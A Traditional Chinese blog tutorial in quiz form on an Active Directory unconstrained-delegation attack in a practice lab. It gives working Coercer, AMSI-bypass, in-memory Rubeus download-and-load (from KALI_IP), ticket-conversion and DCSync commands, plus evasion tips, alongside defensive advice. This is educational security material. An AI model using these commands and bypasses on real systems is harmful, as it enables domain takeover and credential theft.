在本文的攻擊中,我們透過無約束委派捕獲了 KINGSLANDING$(父域 DC)的 TGT,進而執行 DCSync 攻擊,取得整個父域的所有憑證。這正是無約束委派最危險的體現。

為何 DC 預設啟用無約束委派?

  • 這是歷史遺留設計,用於支援舊版的服務認證需求
  • Microsoft 建議現代環境應改用約束委派或 RBCD
  • 但為了向後相容,DC 仍保留此設定

第 2 題:Coercer 強制認證攻擊原理

在無約束委派攻擊中,我們使用 Coercer 工具強制 KINGSLANDING(父域 DC)向 WINTERFELL 進行認證。以下關於 Coercer 的敘述,何者錯誤?

A) Coercer 利用 Windows RPC 協定的特性強制目標發起認證
B) 成功的 Coercer 攻擊會讓目標的 TGT 出現在攻擊者控制的伺服器上
C) Coercer 攻擊需要攻擊者已經擁有域管理員權限才能執行
D) MS-EFSR 和 PrinterBug 都是 Coercer 可以利用的 RPC 方法

正確答案:C

詳細解析:

Coercer 攻擊不需要域管理員權限,這正是它如此危險的原因。

  1. Coercer 的運作原理:

    攻擊者(普通域使用者)
        ↓ 發送特殊 RPC 請求
    目標伺服器(如 DC)
        ↓ 被迫向指定位置認證
    攻擊者控制的伺服器(啟用無約束委派)
        ↓ 捕獲目標的 TGT
    
  2. 為何不需要高權限:

    • Coercer 利用的是 Windows RPC 服務的設計特性,不是漏洞
    • 這些 RPC 方法(如 MS-EFSR、MS-RPRN)允許經過認證的使用者呼叫
    • 只需要有效的域使用者憑證即可執行
    • 在本文案例中,我們使用 arya.stark(普通使用者)執行 Coercer
  3. 實際攻擊指令回顧:

    coercer coerce \
      -u arya.stark \           # 普通域使用者
      -p Needle \
      -d north.sevenkingdoms.local \
      -t kingslanding.sevenkingdoms.local \  # 目標:父域 DC
      -l winterfell.north.sevenkingdoms.local  # 誘騙至:我們控制的伺服器
    
  4. 其他選項說明:

    • A 正確:Coercer 確實利用 RPC 協定(如 MS-EFSR、MS-RPRN、MS-DFSNM 等)
    • B 正確:這正是攻擊的目標 - 當目標被迫認證時,TGT 會儲存在無約束委派的伺服器上
    • D 正確:Coercer 支援多種 RPC 方法,包括:
      • MS-EFSR (EfsRpcAddUsersToFile)
      • MS-RPRN (PrinterBug)
      • MS-DFSNM
      • MS-FSA 等
  5. 常見的強制認證方法:

    • PetitPotam:利用 MS-EFSR
    • PrinterBug:利用 MS-RPRN
    • Coercer:整合多種方法的工具

防禦建議:

  • 禁用不必要的 RPC 服務
  • 限制誰可以呼叫敏感的 RPC 方法
  • 監控異常的認證請求模式
  • 避免使用無約束委派

第 3 題:AMSI 繞過技術原理

在攻擊過程中,我們需要繞過 AMSI(反惡意軟體掃描介面)才能執行 Rubeus。以下三種 AMSI 繞過方法中,哪一種最難被偵測?

A) 直接設定 amsiInitFailed 為 $true
B) 將 0 寫入 AMSI context 記憶體位址
C) 使用字串混淆並寫入 0x41424344 到 AMSI context
D) 直接停用 Windows Defender 服務

正確答案:C

詳細解析:

三種 AMSI 繞過技術的比較:

方法 技術原理 隱蔽性 偵測難度
方法 A 設定失敗旗標 低 容易被 EDR 發現
方法 B 記憶體修補(寫 0) 中 中等
方法 C 字串混淆 + 記憶體寫入 高 最難
  1. 方法 C 的優勢(最難偵測):

    # 字串混淆範例
    $x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');
    $y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');
    $z=$y.GetValue($null);
    [Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
    

    為何難以偵測:

    • 字串拆分:'Am'+'siUt'+'ils' 繞過靜態字串掃描
    • AMSI 無法在自己被破壞前偵測到這些字串
    • 即使 AMSI 掃描腳本內容,也看不到完整的 "AmsiUtils" 字串
    • 記憶體直接操作:寫入 0x41424344("ABCD")破壞 AMSI context 結構
    • 不依賴修改任何明顯的「失敗旗標」
    • 行為模式較不典型
  2. 方法 A 的弱點(容易偵測):

    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
      .GetField('amsiInitFailed','NonPublic,Static')
      .SetValue($null,$true)
    
    • 包含明顯的 "AmsiUtils" 字串
    • 直接修改 amsiInitFailed 是已知的繞過模式
    • 現代 EDR 會監控對此欄位的修改
    • 容易被特徵碼偵測
  3. 方法 B 的特性(中等偵測難度):

    # 寫入 0 到 AMSI context
    [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
    
    • 雖然有間接查找,但仍有 "iUtils"、"Context" 等可疑字串
    • 寫入 0 的行為模式較容易識別
    • 比方法 A 好,但不如方法 C
  4. 方法 D 為何錯誤:

    • 停用 Windows Defender 需要管理員權限
    • 會觸發明顯的安全警報
    • 會留下事件日誌記錄
    • 不適合隱蔽攻擊

實戰經驗:
在本文的實驗中,即使使用方法 C,仍然無法完全繞過 AMSI。這反映了:

  • Windows Defender 不斷進化
  • 需要採用記憶體載入技術作為替代方案
  • 無檔案攻擊(Fileless)成為新趨勢

現代防禦機制:

  • AMSI 不僅掃描腳本內容,也監控記憶體操作
  • EDR 會記錄對 AMSI 相關 API 的所有呼叫
  • 行為分析可以偵測異常的 Reflection 使用
  • 最佳實踐:使用多層防禦,不依賴單一技術

第 4 題:記憶體載入 .NET 組件技術

在無法繞過 AMSI 時,我們使用記憶體載入技術執行 Rubeus。以下關於記憶體載入的敘述,何者錯誤?

A) 記憶體載入可以避開基於檔案的防毒掃描
B) [Reflection.Assembly]::Load() 會將組件載入到應用程式網域的記憶體中
C) MainString() 方法接受單一字串參數,而 Main() 方法接受字串陣列
D) 記憶體載入技術可以完全避開所有現代 EDR 的偵測

正確答案:D

詳細解析:

記憶體載入雖然是強大的技術,但無法完全避開現代 EDR。

  1. 記憶體載入的優勢(A、B、C 正確):

    # 下載到記憶體
    $data = (New-Object Net.WebClient).DownloadData('http://KALI_IP:8080/Rubeus.exe')
    
    # 反射載入
    [Reflection.Assembly]::Load($data)
    
    # 兩種呼叫方式
    [Rubeus.Program]::Main(@("triage"))           # 字串陣列
    [Rubeus.Program]::MainString("triage")        # 單一字串
    

    A 正確:

    • 檔案從未寫入磁碟
    • 傳統防毒軟體無法掃描記憶體中的資料
    • 避開應用程式白名單檢查

    B 正確:

    • [Reflection.Assembly]::Load() 是 .NET 的反射功能
    • 將位元組陣列直接載入為程式集
    • 組件只存在於記憶體的應用程式網域中
    • 輸出 GAC = False 確認非全域組件快取

    C 正確:

    # Main() - 標準 C# Main 方法
    [Rubeus.Program]::Main(@("kerberoast", "/outfile:output.txt"))
    
    # MainString() - Rubeus 特製方法
    [Rubeus.Program]::MainString("kerberoast /outfile:output.txt")
    
  2. 為何 D 錯誤(現代 EDR 的能力):

    現代 EDR 可以偵測記憶體載入,透過:

    a) 記憶體掃描:

    • 定期掃描程序記憶體空間
    • 偵測已知惡意程式碼的簽章
    • 即使在記憶體中也能發現 Rubeus

    b) 行為監控:

    # 這些行為會被標記為可疑
    [Reflection.Assembly]::Load()        # 反射載入行為
    (New-Object Net.WebClient).Download  # 網路下載行為
    [Runtime.InteropServices.Marshal]::  # 記憶體操作
    

    c) PowerShell 日誌:

    • Script Block Logging 會記錄所有 PowerShell 指令
    • Module Logging 記錄模組載入
    • Transcript Logging 記錄完整會話
    # 這些都會被記錄在事件日誌中
    Event ID 4104: PowerShell Script Block Logging
    Event ID 4103: Module Logging
    

    d) API 監控:

    • EDR Hook 關鍵 Windows API
    • 監控 .NET Reflection API 的使用
    • 偵測異常的組件載入模式

    e) 網路流量分析:

    • 偵測從外部下載 .exe 檔案
    • 分析 HTTP 流量中的 PE 檔案簽章
    • 關聯網路活動與記憶體載入
  3. 實際偵測案例:

    使用記憶體載入時,可能觸發的警報:

    Alert: Suspicious PowerShell Activity
    - Reflection.Assembly.Load detected
    - Downloading executable from external source
    - Known offensive tool signature (Rubeus) in memory
    - Abnormal Kerberos ticket operations
    
  4. 繞過建議(但不保證成功):

    • 混淆組件:使用 ConfuserEx、Obfuscar 等工具
    • 自訂載入器:避免使用標準的 Assembly.Load()
    • 分段載入:將組件拆分成多個部分
    • 時間延遲:避免快速連續執行可疑操作
    • 使用 C2 框架:如 Covenant、Sliver 的內建功能
  5. 防禦者視角:

    偵測指標:
    ✓ PowerShell 使用 Reflection.Assembly
    ✓ 從網路下載二進位資料
    ✓ 記憶體中出現 PE 檔案結構
    ✓ 異常的 Kerberos API 呼叫
    ✓ 未簽名的組件載入
    

總結:
記憶體載入是提高攻擊成功率的技術,但不是銀彈。現代防禦需要多層策略,而攻擊者也需要結合多種技術才能提高成功率。真實的紅隊演練中,需要根據目標環境的防禦強度選擇適當的技術組合。

第 5 題:票證格式轉換與使用

在攻擊的最後階段,我們需要將從 Windows 提取的 Kerberos 票證轉換為 Linux 可用的格式。關於票證轉換的流程,以下敘述何者正確?

A) Rubeus 提取的票證是 .ccache 格式,可以直接在 Linux 上使用
B) 轉換流程是:Base64 → .kirbi → .ccache,然後設定 KRB5CCNAME 環境變數
C) 使用 klist 指令可以驗證票證是否正確載入,但不會顯示票證的有效期限
D) 在執行 DCSync 時必須使用 -hashes 參數提供 NTLM 雜湊才能成功

正確答案:B

詳細解析:

票證轉換與使用的完整流程:

  1. 票證格式說明:

    格式 環境 工具 用途
    Base64 通用 Rubeus 輸出 文字傳輸
    .kirbi Windows Mimikatz, Rubeus Windows Kerberos
    .ccache Linux Impacket, kinit Linux Kerberos
  2. 為何 B 正確(完整轉換流程):

    步驟 1:Rubeus 提取 Base64 格式

    [Rubeus.Program]::Main(@("dump", "/service:krbtgt", "/nowrap"))
    

    輸出:

    Base64EncodedTicket: doIFrzCCBaugAwIBBaEDA...(很長的字串)
    

    步驟 2:Base64 → .kirbi

    # 將 Base64 儲存到檔案
    cat > kingslanding.b64 << 'EOF'
    doIFrzCCBaugAwIBBaEDA...
    EOF
    
    # 解碼為二進位格式
    cat kingslanding.b64 | base64 -d > kingslanding.kirbi
    

    步驟 3:.kirbi → .ccache

    # 使用 Impacket 的 ticketConverter
    ticketConverter.py kingslanding.kirbi kingslanding.ccache
    

    步驟 4:設定環境變數

    export KRB5CCNAME=kingslanding.ccache
    

    步驟 5:驗證載入

    klist
    

    輸出:

    Ticket cache: FILE:kingslanding.ccache
    Default principal: KINGSLANDING$@SEVENKINGDOMS.LOCAL
    
    Valid starting       Expires              Service principal
    10/01/2025 06:55:13  10/01/2025 16:55:13  krbtgt/SEVENKINGDOMS.LOCAL@...
            renew until 10/08/2025 06:55:13
    
  3. 為何其他選項錯誤:

    A 錯誤:

    • Rubeus 提取的是 Base64 編碼的 .kirbi 格式
    • .kirbi 是 Windows 格式,Linux 無法直接使用
    • 必須轉換為 .ccache 格式

    C 錯誤:

    • klist 會顯示有效期限
    • 從上面的輸出可以看到:
      • Valid starting: 票證開始時間
      • Expires: 過期時間
      • renew until: 可更新的最長時間
    • 這些資訊對於判斷攻擊時間窗口非常重要

    D 錯誤:

    • 使用 Kerberos 票證時,應該使用 -k -no-pass 參數
    • 不需要提供 NTLM 雜湊
    • 正確指令:
    secretsdump.py -k -no-pass \
      SEVENKINGDOMS.LOCAL/'KINGSLANDING$'@KINGSLANDING.SEVENKINGDOMS.LOCAL
    
    • -k: 使用 Kerberos 認證
    • -no-pass: 不需要密碼(因為使用票證)
  4. 常見錯誤與解決方法:

    錯誤 1:KRB5CCNAME 未設定

    # 錯誤訊息
    [-] Kerberos SessionError: KRB_AP_ERR_TKT_EXPIRED
    
    # 解決方法
    export KRB5CCNAME=/完整路徑/kingslanding.ccache
    

    錯誤 2:Base64 格式錯誤

    # 確保移除所有空白和換行
    cat kingslanding.b64 | tr -d ' \n' | base64 -d > kingslanding.kirbi
    

    錯誤 3:時間同步問題

    # Kerberos 對時間非常敏感(預設允許 5 分鐘誤差)
    sudo ntpdate -s sevenkingdoms.local
    
    # 或使用 rdate
    sudo rdate -n kingslanding.sevenkingdoms.local
    

    錯誤 4:票證已過期

    # 檢查票證有效期
    klist
    
    # 如果過期,需要重新捕獲
    # TGT 通常有效期為 10 小時
    
  5. 票證使用的最佳實踐:

    # 1. 確認票證內容
    klist
    
    # 2. 測試票證可用性
    impacket-smbclient -k -no-pass \
      KINGSLANDING.SEVENKINGDOMS.LOCAL
    
    # 3. 執行主要攻擊
    secretsdump.py -k -no-pass \
      -just-dc-user Administrator \
      SEVENKINGDOMS.LOCAL/'KINGSLANDING$'@KINGSLANDING
    
    # 4. 清除票證(清理痕跡)
    unset KRB5CCNAME
    kdestroy
    
  6. 進階技巧:票證更新:

    如果票證接近過期但還在 renew until 時間內:

    # 使用 kinit 更新票證
    kinit -R
    
    # 或使用 Impacket
    impacket-ticketer -nthash <hash> -domain-sid <SID> ...
    

實戰提醒:

  • 票證是有時效性的,通常 TGT 有效期為 10 小時
  • 在紅隊演練中,應盡快使用捕獲的票證
  • 票證更新(Renew)可以延長使用時間,但也可能被偵測
  • 使用票證前務必確認時間同步,Kerberos 對時間非常敏感

上一篇
AD 攻防實戰演練 Day 16:橫向移動進階技術 - SAM/LSA/LSASS 憑證提取與多種橫向移動方法
下一篇
AD 攻防實戰演練 Day 18:Kerberos 委派攻擊進階 - 約束委派與資源型約束委派(RBCD)完全解析
系列文
資安這條路:AD 攻防實戰演練 共 30 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言